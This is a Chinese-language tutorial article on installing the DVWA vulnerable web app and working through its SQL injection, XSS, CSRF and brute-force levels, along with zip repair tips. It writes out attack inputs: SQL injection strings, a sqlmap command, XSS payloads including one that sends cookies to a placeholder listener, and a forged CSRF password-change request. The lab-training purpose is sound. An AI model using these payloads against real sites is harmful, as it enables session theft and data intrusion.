ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

DVWA靶场搭建与通关实战:从环境配置到漏洞利用

DVWA靶场搭建与通关实战:从环境配置到漏洞利用 简介DVWA是Web安全领域应用广泛的入门级漏洞靶场这份压缩包为本地部署版面向网络安全初学者、渗透测试练习者及高校安全实验课程可帮助练习者在合规的本地环境里熟悉漏洞原理与利用手法。包体共583个文件以PHP源码为核心357个php脚本对应SQL注入、XSS、文件上传、命令注入、CSRF等经典漏洞关卡107个txt文档包含提示与检查思路62个html页面构成操作界面再配合少量js、css、png、jpg等前端资源整体仅1.29MB轻量且易于管理与备份。靶场支持通过配置文件切换低、中、高及不可能四种安全等级便于循序渐进观察漏洞成因与防御差异。使用者借助phpstudy等集成环境将解压后的文件放入网站根目录并同步数据库连接密码即可在浏览器中访问本机靶场按难度逐级完成漏洞探测与利用。已有1504人学习下载适合作为安全课程配套实验、CTF入门训练或个人攻防技能提升的轻量级工具。 很多新手从网盘拖下来DVWA-网络安全靶场.zip解压后随手双击index.php结果白屏、报错、登录不了最后在群里甩一句“压缩包坏了”。其实这个 zip 是一个能正常运行的 PHP 项目装不上大概率是被运行环境卡住了。DVWADamn Vulnerable Web Application是目前最常用的开源 Web 安全靶场内置了 SQL 注入、XSS、CSRF、暴力破解等漏洞场景在合规的学习环境中可以真实还原完整的攻防链路。这篇文章我会把自己反复搭建和通关 DVWA 的流程、踩过的坑以及 zip 文件本身的修复经验一次性说清楚适合刚入门渗透测试的同学、Web 开发人员以及所有想把漏洞原理真正搞明白的人。1. 拿到DVWA靶场包之后先搞清楚三件事1.1 DVWA到底是什么练它到底在练什么DVWA 翻译过来就是“该死的脆弱Web应用”它是一个故意写进各种漏洞的 PHP 开源项目目的就是给安全测试人员提供一个合法、可重复使用的攻击目标。和真实站点不同DVWA 里的漏洞是被开发者精心设计出来的你可以在它上面大胆尝试各种攻击手法不会造成实际危害练完还能随时重置。整个靶场按漏洞类型划分成模块展开vulnerabilities/目录就能看到一堆子目录brute暴力破解、command命令注入、csrf跨站请求伪造、file-upload文件上传、sqliSQL注入、xss跨站脚本等。它还提供了安全等级切换从 Low、Medium、High 一直到 Impossible同一个漏洞在不同的等级下防护强度完全不同。我自己的体会是DVWA 的最大价值不是“能不能打进去”而是你能在每一个等级下看到同样一段业务逻辑是怎么一步步被加固的。很多团队招安全岗时也会把“是否通关过 DVWA 全模块”当作基础信号。虽然这不能代表真实水平但至少说明你对常见 Web 漏洞形态有系统的认知而不是只会用现成工具扫一扫。1.2 zip包里的目录结构别急着双击index.php把DVWA-网络安全靶场.zip解压之后第一反应是双击index.php这个动作几乎是每个新手都会踩的错。index.php是 PHP 源码不是双击之后就能在浏览器里正常展示的网页文件。它需要放在 Web 服务器Apache/Nginx的站点根目录下由服务器解释并执行最后返回给浏览器的才是 HTML 页面。包内的目录结构大致是这样index.php入口页面会检查安装状态并跳转到登录页或 setup 页。login.php登录页默认账号admin密码password。config/配置目录初始状态下只有config.inc.php.dist模板没有现成的配置文件。vulnerabilities/核心漏洞模块代码按攻击类型分子目录存放。hackable/可写目录文件上传漏洞的落点、SQL 注入训练用的用户文件都在这里。external/依赖的第三方组件和示例页面。源码版 DVWA 的一个明显优势就是你可以在编辑器里直接打开这些 PHP 文件一边打靶一边读源码。等你看得懂 Low 等级为什么脆弱、Impossible 等级为什么安全再去用自动化工具体验理解的深度会完全不一样。1.3 环境选型phpStudy一键包还是手动LAMPDVWA 的运行依赖 PHP、MySQL 和 Apache。这里特别提醒一句不是随便装个最新版 PHP 就能跑版本兼容问题很关键。我的实测经验是 PHP 5.6 或 7.0 比较稳PHP 8 之后会有不少老代码报函数不兼容比如each()被移除、mysql_*函数早已不存在这些都会在不同模块里触发致命错误。如果你的主力系统是 Windows最简单的是 phpStudy、XAMPP 这类一键集成环境。它们把 Apache、MySQL、PHP 打包在一起还能切换版本。把解压后的DVWA目录复制到phpstudy_pro\WWW\dvwa启动服务后访问http://127.0.0.1/dvwa就能看到安装引导页面。如果你在 Kali 或者其他 Linux 发行版上做练习可以手动装 LAMP也可以用 Docker。手动装的好处是依赖路径完全可控适合想搞清楚“Web 环境到底是怎么工作”的人Docker 更像快捷方式适合想立刻开始打靶的人。我个人建议次搭建先用最简单的方式跑通之后再研究替换环境否则很容易在环境配置上消耗大量热情。2. 搭建过程最容易翻车的四个环节2.1 解压放置的路径与权限问题搭建 DVWA 第一步是解压放置但这个步骤已经有很多人翻车。如果你用 phpStudy服务启动后 Web 根目录默认是phpstudy_pro\WWW但有人会把 DVWA 文件夹解压到D:\dvwa或者桌面然后访问http://127.0.0.1/dvwa/自然只会得到 404。目录放错位置后面所有操作都无从谈起。目录路径正确以后就要考虑权限。Linux 下使用源码包部署时如果/var/www/html/dvwa的属主不是 Web 服务运行用户会导致上传模块和hackable目录写入失败。我一般会执行sudo chown -R www-data:www-data /var/www/html/dvwa sudo chmod -R 755 /var/www/html/dvwaWindows 下虽然没有权限问题但要注意压缩包解压后的目录嵌套结构。很多包解压完是DVWA-网络安全靶场/dvwa/index.php这种两层目录复制时可以直接把内层dvwa剪切到 Web 根目录不然访问路径会变成http://127.0.0.1/dvwa/dvwa/又是一轮折腾。2.2 config.inc.php.dist 改名和数据库配置DVWA 默认不会自动生成配置文件你需要手动到config目录下把config.inc.php.dist复制一份并改名为config.inc.php。这一步不做setup 页面会直接提示找不到配置文件。复制完成之后用文本编辑器打开config.inc.php核心配置是这几行$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] 这里填你自己的数据库密码; $_DVWA[ default_security_level ] low;数据库密码一定要和你 MySQL 里实际用户的密码保持一致。如果你用的是较新版本的 MySQLroot 默认认证插件是caching_sha2_password而 DVWA 依赖的 PHP 版本较老有可能会报 SSL 连接错误或认证失败。解决办法是给 root 改成mysql_native_password或者干脆创建一个专用数据库账号CREATE USER dvwalocalhost IDENTIFIED WITH mysql_native_password BY dvwa123; GRANT ALL PRIVILEGES ON dvwa.* TO dvwalocalhost; FLUSH PRIVILEGES;这里多说一句新手尽量别用“最新版 MySQL 最新版 PHP”去挑战 DVWA 这种老项目。老项目和新环境之间存在很多隐藏兼容性问题如果一开始就换成 MySQL 5.7 PHP 7.0 的组合后面会省掉一大半乱报错。2.3 初始化数据库的时机与重复建库问题配置文件弄好之后打开http://127.0.0.1/dvwa/setup.php如果一切正常会看到状态检查结果下方有一个Create / Reset Database按钮。点击之后 DVWA 会自动建库、建表、插入初始数据完成后回到首页用admin/password登录即可。很多人喜欢手动到 phpMyAdmin 里先建一个名为 dvwa 的数据库其实完全没必要。DVWA 的安装脚本会自动处理而且这个按钮是“创建”和“重置”一体的。练习过程中如果把 SQL 注入模块的数据表玩乱了或者 CSRF 模块的 Token 对不上只需要再点一次这个按钮所有数据都会恢复原样。这个操作不会影响你修改过的 PHP 代码只会重置数据库内容可以放心用。2.4 走到登录页却发现进不去常见原因定位走到登录页说明环境基本没问题但进不去的情况也很常见。我遇到最多的问题是提示CSRF token mismatch。这个提示说明浏览器 cookie 和表单里的 token 对不上通常是因为浏览器禁用了 cookie或者两次请求之间 session 被清理掉了。这时候换成无痕窗口或者换一个浏览器大概率能解决。还有一种情况是登录后无限跳回登录页。原因通常是数据库连接失败比如配置里的密码写错或者 MySQL 服务没启动。页面虽然显示了登录框但代码在验证 session 时发现用户表不可用就一直让你重新登录。这种问题去 setup.php 页面看状态检查它会直接列出数据库连接失败的具体原因。白屏问题更麻烦大概率出在 PHP 版本太高。你可以先去看 Web 服务器错误日志Linux 下是/var/log/apache2/error.logWindows 下在 phpStudy 的日志目录里。看到Call to undefined function mysql_connect()之类的报错基本可以确定是 PHP 版本问题换回 PHP 5.6 或 7.0 就能解决。3. 在Kali上换一条更省心的路Docker跑DVWA3.1 为什么推荐Kali用户用Docker方案Kali 是安全测试专用的 Linux 发行版里面自带大量工具但为了跑 DVWA 再去装 LAMP可能把系统里已有的 PHP 包、MySQL 服务搅乱。而且 Kali 默认软件源里的 PHP 版本通常很新DVWA 这种老项目跑起来容易报错。Docker 可以把 DVWA 连同它需要的 PHP、Apache、MySQL 都装在一个独立容器里和宿主机完全隔离这是我最推荐 Kali 用户使用的方式。用 Docker 还有一个额外好处重复搭建几乎零成本。手动搭建如果哪一步配错了可能要卸载重装各种包Docker 则只需要删掉容器重新执行一次docker run几分钟就能回到完全干净的状态。这对反复练习、做教学演示或者换版本测试都很友好。3.2 拉镜像、起容器、访问靶场的完整命令Docker 方案不需要自己写 Dockerfile社区已经有人维护好了 DVWA 镜像。最简单的启动命令docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa参数解释一下-d表示后台运行-p 8080:80把容器里的 80 端口映射到主机的 8080这里的端口映射很重要避免和本机已有的 Web 服务冲突。启动后访问http://127.0.0.1:8080会跳到 login.php默认账号仍然是admin/password。部分版本的镜像启动后不会自动拉起 MySQL需要先进入容器执行初始化脚本docker exec -it dvwa bash ./scripts/start.sh执行完以后回到宿主机打开 setup.php 页面点一下Create / Reset Database数据库就建好了。整个过程比手动搭建快非常多适合不想折腾环境的人直接上手。3.3 容器版和源码版的差异与数据持久化用 Docker 容器版做练习很方便但有一个坑必须提醒容器一旦被删除里面的数据库、上传文件、修改过的配置都会跟着消失。如果只是练习无所谓但如果你改了 DVWA 的 PHP 代码或者用上传漏洞传了一些测试文件希望保留那就需要把目录给“挂”出来。docker run -d -p 8080:80 \ -v /opt/dvwa/uploads:/var/www/html/hackable/uploads \ -v /opt/dvwa/config:/var/www/html/config \ --name dvwa vulnerables/web-dvwa源码版适合做代码审计因为你能直接打开每个漏洞模块的 PHP 文件看到原生的漏洞代码和修复后的对比容器版则更适合快速过一遍通关流程尤其适合配合 Burp Suite、sqlmap 等工具做训练。这两个版本并不冲突我自己的习惯是先本地源码版把代码看明白再用容器版去刷题效率最高。4. 从Low到Impossible核心漏洞模块的通关思路4.1 SQL Injection手工判断到工具联动DVWA 的 SQL 注入模块是很多人入门的第一课。Low 等级下代码直接把用户输入的 ID 拼接进 SQL 语句没有任何过滤。在输入框里输入1页面会返回 SQL 语法错误说明存在字符型注入。再用1 and 11和1 and 12做对比就能通过页面是否正常返回来判断逻辑。手工验证时可以按顺序尝试这样几条1 or 11 1 union select 1,2 -- 1 union select user(),database() --第一条能绕过查询条件第二条用来探测字段数量第三条直接获取当前数据库用户和库名。之后再结合information_schema去枚举表名和字段名逐步把敏感数据掏出来。工具联动方面我常用 Burp Suite 抓包把请求发到 Repeater手动修改 SQL 语句看返回值比在页面上反复填写表单效率高很多。想自动化的话可以用 sqlmapsqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSID你的会话标识; securitylow --batch但我建议先手工走一遍流程理解 SQL 注入的响应特征再让工具辅助。否则工具跑出来只是一个黑盒结论遇到真实环境里的绕过场景仍然不知道怎么下手。4.2 XSS三兄弟反射型、存储型、DOM型XSS 模块在 DVWA 里分成三关看起来都是 XSS实际利用逻辑完全不同。反射型 XSS 在 Low 等级下后端直接把用户输入拼接到页面里没有任何转义。输入scriptalert(document.cookie)/script点击 Submit 后就能看到弹窗这说明输入没有经过过滤就被输出到了 HTML 中。存储型 XSS 则需要利用“访客留言板”这类功能把恶意脚本写入数据库后续任何人访问页面时脚本都会执行。可以尝试提交scriptnew Image().srchttp://你的监听地址/document.cookie;/script这时如果你在监听端收到了带 cookie 的请求就理解“存储型 XSS”为什么比反射型危害更大——它影响的是所有访问者。DOM 型 XSS 跟前两者不同漏洞发生在浏览器端的 JavaScript 解析而不是服务端输出。DVWA 的 DOM 模块在 URL 参数里直接反射参数构造类似#defaultscriptalert(1)/script的 payload 就能触发。区分这三种类型不需要死记定义记住特征就行反射型是一次性拼接并返回存储型是落库后反复触发DOM 型是纯前端逻辑在自嗨。这个区分在真实渗透测试和 WAF 绕过里非常关键。4.3 CSRF与暴力破解Burp Suite的用武之地CSRF 模块 Low 等级的核心问题是“修改密码的请求没有 Token 校验”。打开该模块你会看到一个修改密码的表单提交后实际上通过 GET 请求传递password_new和password_conf参数。用 Burp 抓包会看到请求长这样GET /dvwa/vulnerabilities/csrf/?password_new123456password_conf123456ChangeChange HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSID...利用方式不难构造一个恶意 HTML 页面里面放一个自动提交的表单或者 img 标签请求指向上面的链接。只要受害者的会话仍然有效密码就会被无声无息地改掉。通关时建议完整走一遍这个过程你会对“为什么现在的业务系统几乎都要加 CSRF Token”有非常直观的体感。暴力破解模块 Low 等级可以直接用 Burp Intruder 跑字典。把登录请求发送到 Intruder将密码参数标记为 attack position再用自带字典跑一遍很快就能得到正确密码。Medium 等级增加了延时并做了简单的请求限制这时必须处理 Token 参数的动态回填——Token 在每次响应中都会变化如果不提取并设置到下一次请求中爆破请求会全部无效。这个点非常值得多练几遍因为很多人在真实渗透测试里遇到带 CSRF Token 的登录表单往往就是被卡在这里。4.4 安全等级切换到底改了什么DVWA 的等级切换在页面左上角也可以直接修改config/config.inc.php里的default_security_level来固定默认等级。表面上看只是难度变化实际上每一级是对同一段业务代码做了不同强度的防护。以 SQL 注入为例Low完全无过滤直接拼接用户输入。Medium使用mysqli_real_escape_string做特殊字符过滤但遇到数字型注入或宽字节场景依然可能被绕过。High改用参数化查询用户输入不再作为 SQL 语句的一部分。Impossible参数化查询之外还加了 Token 校验、输入长度限制并对数据库输出做了编码处理。我建议每个模块都从 Low 一路打到 Impossible每过一关就打开源码对比一下。这不是浪费时间而是在建立一个“漏洞写法到修复写法”的映射。以后你做代码审计看到某个固定模式就能立刻联想到对应漏洞这比背诵漏洞列表要有效得多。5. 靶场zip包相关的解压与文件修复经验5.1 解压报“invalid zip archive: could not find EOCD”怎么处理围绕DVWA-网络安全靶场.zip这个文件除了搭建问题问得最多的其实是解压问题。最常见的报错是invalid zip archive: could not find EOCD以及类似导入失败 caused by: invalid zip archive: could not find eocd。这个报错可以理解为“在 zip 文件末尾找不到结束记录”也就是说文件结构不完整或者根本不是 zip 格式。处理这类问题时第一件事不是找修复工具而是先检查文件是否下载完整。很多人在网盘用断点续传下载文件容易被截断。先用命令行验证一下python -m zipfile -l DVWA-网络安全靶场.zip如果能正常列出内容说明 zip 结构没问题报错很可能来自你使用的解压软件如果提示BadZipFile再尝试用zip -FF修复zip -FF DVWA-网络安全靶场.zip --out fixed.zip这个命令会尽量读取能恢复的区域重新组织出可用的 zip 文件但只适合轻微的中央目录损坏。如果file命令显示文件本质上不是 zip比如实际是 rar 或 7z 但扩展名被改成了 zip那正确做法是换对应的压缩工具去解压而不是硬修。5.2 压缩包乱码、分卷与密码问题还有一部分朋友遇到的不是结构损坏而是解压后内容乱码。最常见的是带韩文文件名的 zip 包在 Windows 默认解压下全部变成乱码。原因很简单压缩工具写入文件名时用的是本地代码页而不是标准的 UTF-8 编码。解决办法是换用支持编码识别的解压软件比如 Bandizip 或 7-Zip在解压时切换代码页就能正常显示。分卷解压报错“必须有下列压缩分卷 z01”也很好排查。先把所有分卷放在同一个目录确认文件名没有被改动比如xxx.zip、xxx.z01、xxx.z02必须按顺序放在一起然后再开始解压。很多分卷解压失败的案例只是因为你改了其中一个文件的名字导致工具识别不了后续分卷。至于密码先说结论如果你下载的靶场包被加密而你又忘了密码大概率只能重新找来源。网上流传的很多“zip密码破解工具”本质是字典跑包遇到强度稍高的密码基本就是浪费时间如果压缩时用的是 AES-256暴力恢复更是不可行。真遇到加密文件先回到原发布页面看提示看 README也许密码就写在某个不起眼的位置。7-Zip 可以查看 zip 是否加密以及加密算法这个信息能帮你判断值不值得继续折腾。5.3 顺带记一笔zip方式安装其他工具时要注意什么DVWA 这个包让我想起很多类似的“zip 包不会装”的问题。比如python-3.8.9-embed-amd64.zip解压后看起来有 python.exe但它实际是嵌入式版本默认不包含 pip也不自动注册到环境变量需要手动修改._pth文件才能正常导入包。再比如 Node.js 的 zip 包解压后要手动把目录加入 PATH并且确认node.exe、npm都存在否则命令行里能启动 node却怎么都调不到 npm。这些问题的共同点其实就一句话zip 只是文件容器不等于安装程序。拿到任何 zip 包先看里边的 README 和目录结构确认它是绿色免安装版还是需要运行某个 setup 脚本。DVWA 不是可执行文件它需要 Web 服务器和数据库协作来运行本质上和“zip 包装完就能用”完全不是一回事。老实说我搭 DVWA 踩过的坑有一半不是漏洞本身的问题而是“环境装不好、文件解不开”。后来渐渐养成了两个习惯下载完先校验哈希部署前先读目录说明。这两个习惯听起来很基础但真的帮我避开了大量无效操作。DVWA 本身不复杂很多人是被“zip 包”这三个字带偏了以为要像安装软件一样双击运行。把它当成一组需要被服务器解析的代码所有问题都会顺着这个思路迎刃而解。本文还有配套的精品资源点击获取
返回列表